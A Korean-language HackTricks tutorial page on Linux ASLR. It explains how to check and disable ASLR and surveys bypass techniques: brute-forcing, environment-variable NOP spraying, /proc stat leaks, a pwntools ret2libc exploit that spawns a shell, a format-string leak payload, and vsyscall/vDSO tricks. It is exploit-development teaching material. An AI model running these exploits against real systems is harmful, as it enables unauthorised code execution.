.. | ||
README.md | ||
ret2plt.md | ||
ret2ret.md |
ASLR
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- 해킹 요령을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
기본 정보
**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 메모리 주소를 무작위로 변경합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리와 같은 특정 유형의 취약점을 완화하는 데 도움이 됩니다.
ASLR 상태 확인
Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space
파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:
- 0: 무작위화 없음. 모든 것이 정적입니다.
- 1: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
- 2: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화되는 요소에 추가로
brk()
를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다:
cat /proc/sys/kernel/randomize_va_space
ASLR 비활성화
ASLR을 비활성화하려면 /proc/sys/kernel/randomize_va_space
의 값을 0으로 설정합니다. ASLR을 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
당신은 또한 실행을 위해 ASLR을 비활성화할 수 있습니다:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR 활성화
ASLR를 활성화하려면 /proc/sys/kernel/randomize_va_space
파일에 2 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
부팅 시 지속성
echo
명령으로 만든 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 /etc/sysctl.conf
파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
파일을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오:
sudo sysctl -p
이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다.
우회 방법
32비트 무차별 대입
PaX는 프로세스 주소 공간을 3 그룹으로 나눕니다:
- 코드와 데이터 (초기화된 및 초기화되지 않은):
.text
,.data
, 및.bss
—>delta_exec
변수에서 16비트의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다. mmap()
에 의해 할당된 메모리 및 공유 라이브러리 —> 16비트,delta_mmap
이라고 함.- 스택 —> 24비트,
delta_stack
이라고 함. 그러나 실제로는 11비트를 사용합니다 (10번째부터 20번째 바이트까지 포함), 16바이트에 정렬됨 —> 이로 인해 524,288개의 가능한 실제 스택 주소가 생성됩니다.
이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격이 성공적으로 완료될 때까지 실행을 다시 시도하여 ASLR을 우회할 수 있습니다.
무차별 대입 아이디어:
- 쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분한 오버플로우가 있다면, 스택 주소를 무차별 대입하여 흐름이 NOP 슬레드의 일부를 건너뛰도록 할 수 있습니다.
- 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, 환경 변수에 NOP 슬레드와 쉘코드를 추가할 수 있습니다.
- 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 원격 서버를 공격할 때
libc
함수usleep
의 주소를 **무차별 대입(brute-force)**하여 인자로 10을 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면 이 함수의 주소를 찾은 것입니다.
{% hint style="success" %} 64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능할 것입니다. {% endhint %}
64비트 스택 무차별 대입
환경 변수로 스택의 큰 부분을 점유한 다음 이를 남용하여 이진 파일을 수백 번/수천 번 실행하여 로컬에서 악용할 수 있습니다.
다음 코드는 스택에서 주소를 선택하고 매 수백 번 실행할 때마다 해당 주소에 NOP 명령어가 포함될 수 있는 방법을 보여줍니다:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
로컬 정보 (/proc/[pid]/stat
)
프로세스의 /proc/[pid]/stat
파일은 항상 모든 사람이 읽을 수 있으며 흥미로운 정보를 포함하고 있습니다:
- startcode 및 endcode: 이진 파일의 TEXT와 관련된 위쪽 및 아래쪽 주소
- startstack: 스택의 시작 주소
- start_data 및 end_data: BSS가 있는 위쪽 및 아래쪽 주소
- kstkesp 및 kstkeip: 현재 ESP 및 EIP 주소
- arg_start 및 arg_end: cli arguments가 있는 위쪽 및 아래쪽 주소
- env_start 및 env_end: 환경 변수가 있는 위쪽 및 아래쪽 주소
따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 생성할 수 있는 다른 입력에서 오버플로우가 발생한다면. 공격자는 이 파일에서 일부 주소를 가져와 해당 주소로부터 공격을 위한 오프셋을 구성할 수 있습니다.
{% hint style="success" %}
이 파일에 대한 자세한 정보는 https://man7.org/linux/man-pages/man5/proc.5.html에서 /proc/pid/stat
을 검색하여 확인하십시오.
{% endhint %}
Leak이 있는 경우
- 도전 과제는 leak을 제공하는 것입니다
Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 여기의 예제에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
버퍼 오버플로우를 악용하여 ret2plt를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의의 읽기가 가능하면 libc 함수의 주소를 GOT에서 유출할 수 있습니다. 다음은 여기에서 예제를 확인하세요:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
다음은 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
스택 내부의 주소를 악용하여 ASLR을 우회하려고 시도하십시오:
{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}
vsyscall
vsyscall
메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 vsyscalls의 주요 장점은 고정 주소에 있습니다. 이러한 고정된 특성으로 인해 ASLR (주소 공간 레이아웃 무작위화)의 영향을 받지 않습니다. 이 고정된 특성은 공격자가 주소를 확인하고 악용하기 위해 정보 누출 취약점이 필요하지 않다는 것을 의미합니다.
그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 ret;
과 같은 것을 얻을 수는 있습니다)
(다음 예제 및 코드는 이 writeup에서 가져온 것입니다)
예를 들어, 공격자는 악용 내에서 주소 0xffffffffff600800
를 사용할 수 있습니다. ret
명령으로 직접 이동하려는 시도는 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, vsyscall 섹션에서 제공되는 syscall
의 시작 지점으로 이동하면 성공할 수 있습니다. vsyscall 주소로 실행을 이끄는 ROP 가젯을 신중하게 배치함으로써, 공격자는 이 악용 부분의 ASLR 우회 없이 코드 실행을 달성할 수 있습니다.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않기 때문에 vdso를 악용하여 ASLR을 우회할 수 있습니다. 자세한 내용은 확인하세요:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}